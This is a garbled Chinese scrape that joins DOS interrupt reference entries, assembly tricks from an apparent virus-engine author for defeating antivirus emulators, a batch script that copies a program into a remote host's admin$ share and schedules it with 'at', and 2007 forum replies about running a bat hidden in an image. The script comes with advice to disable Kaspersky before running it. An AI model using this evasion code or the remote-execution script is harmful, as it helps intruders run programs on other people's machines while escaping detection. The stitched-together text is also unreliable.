--------D-2F1220-----------------------------
INT 2F U - DOS 3+ 内部使用 - 取得工作档案表格
AX = 1220h
BX = file handle
传回: CF =1 错误
AL = 6 (无效的 file handle)
CF =0 成功
ES:DI -> 在目前程序中,档案代码的 JFT (byte)
Notes: the byte pointed at by ES:DI contains the number of the SFT for the
file handle,or FFh if the handle is not open
supported by DR-DOS 5.0+
SeeAlso: AX=1216h,AX=1229h
--------D-2F1216-----------------------------
INT 2F U - DOS 3+ internal - 取得 SFT 的地址
AX = 1216h
BX = SFT 编号 (也就是用 AX=1220h int 2Fh 取得的 JFT)
Return: CF =0 成功
ES:DI -> SFT 地址
CF =1,BX 大于 FILES=xxxx
Note: supported by DR-DOS 5+
SeeAlso: AX=1220h
05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息
...
xor ax,ax
mov ds,ax
push word ptr ds:[0002h]
push word ptr ds:[0000h]
mov ds:[0002h],cs
mov ax,OFFSET int0_jmp
mov ds:[0000h],ax
xor ax,ax
div ax ; 因为 ax:=0000h 而 ax 除以 ax 而触发
int 20h ; int 0h 中断... 使程序转到 int0_jmp !
... ; 而不是执行 int 20h ...
int0_jmp:
pop ax
pop ax
pop ax
pop word ptr ds:[0000h]
pop word ptr ds:[0002h]
...
这个方法我原先是加在 GCAE v2.0 中,没想到后来我的朋友传给我一些杂志中
,居然有相同的方法,可见外国的技术一直比我国强,因此大家要加油啰...
在以前没有一个 CPU 指令仿真可追得下去的... (除了新版的 PTAV之外...)
...
xor ax,ax
mov ds,ax
push word ptr ds:[000ah]
push word ptr ds:[0008h]
mov ds:[000ah],cs
mov ax,OFFSET int0_jmp
mov ds:[0008h],ax
int 75h ; 为何要呼叫 int 75h 呢??嘻!跟据
int 20h ; 我的观察... 这个中断里有一道 int 02h!
... ; 因此... :_)
int2_jmp:
add sp,000ch
pop word ptr ds:[0008h]
pop word ptr ds:[000ah]
...
嘻!这个方法我打算用在我的下一版变体引擎中... 到目前为止,没一个可以模
拟啦 (我用过 TBAV 试的...) !
此外... 还可用 I/O port 来引发 int 2h 中断,有兴趣的可以去研究看看...
port: 61h 、70h ...
@echo off
setlocal
cls
color 4
title !主人好 !
echo ======================================================
echo
echo
echo
echo !主人好 !
echo
echo
echo ======================================================
if not %OS%==Windows_NT echo 本程序只能在WindowsNT以上系统运行! & goto exit
rem ========================交互部分========================
echo 请输入主机IP地址...
set /p host=
if {%host%}=={} echo 请输入主机IP地址! & goto exit
echo 请输入用户名(必须为管理员组)...
set /p user=
if {%user%}=={} echo 请输入用户名! & goto exit
echo 请输入密码!...
set /p pass=
if {%pass%}=={} echo 请输入密码! & goto exit
echo 请输入需要远程运行的程序,该程序必须在本程序目录下!...
set /p pro=
if {%pro%}=={} echo 请输入需要远程运行的程序! &goto exit
rem ========================主程序=========================
echo 正在连接到%host% ...
net use \\%host% %pass% /user:"%user%"
if not %errorlevel%==0 goto :err
echo 连接已建立!
echo 正在复制文件...
copy "%pro%" \\%host%\admin$\system32\
if not %errorlevel%==0 echo 文件复制失败! & goto exit
if not exist \\%host%\admin$\system32\"%pro%" echo 文件不存在!也许已被杀毒软件查杀!请再试一次! & goto exit
echo 文件复制成功!
net time \\%host% /set /y >nul
IF not %errorlevel%==0 echo 查询时间失败! & goto exit
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hh=%%i & set /a mm=%%j
echo %host%当前时间为%hh%:%mm%
set /a mm=%mm%+1
if /i %mm% geq 60 set /a mm=0 & set /a hh=%hh%+1
if /i %hh% geq 24 set /a hh=0
set tm=%hh%:%mm%
echo 正在设置启动时间...
at \\%host% %tm% "%pro%"
IF not %errorlevel%==0 echo 设置失败! & goto exit
at \\%host% |find "%pro%" >nul
IF not %errorlevel%==0 echo 设置失败! & goto exit
echo 启动时间设置成功!
echo 指定的程序将在一分钟后执行!
echo good luck:)
endlocal
goto exit
rem ========================主程序结束=========================
:err
echo 连接建立失败!
goto exit
:exit
net use |find "%host%" >nul
if %errorlevel%==0 net use \\%host% /del /y >nul
pause
运行时关掉卡巴,不然会被卡巴杀了。
它要用户名、密码。
它成功率比较低,毕竟是个BAT吗~作者: jmzsyt 时间: 2007-3-2 01:44 如果能随便运行jpg附带的bat那以后看图片都不安全了作者: mfdcxnf 时间: 2007-3-2 04:48 看图本来就不安全,尤其是那些漂亮妹妹的图片,陌生人发来的色情图片一般不要看,否则作者: mfdcxnf 时间: 2007-3-2 05:56 这个问题还是没有解决,走过路过的朋友,多想点方法,不要去想什么捆绑的啦。是那样实现就没有意思哈作者: naxiaozi 时间: 2007-3-2 11:42 我估计不可能实现吧?不过有句话说的好 只有想不到的 没有做不到的 陪你等待高手!·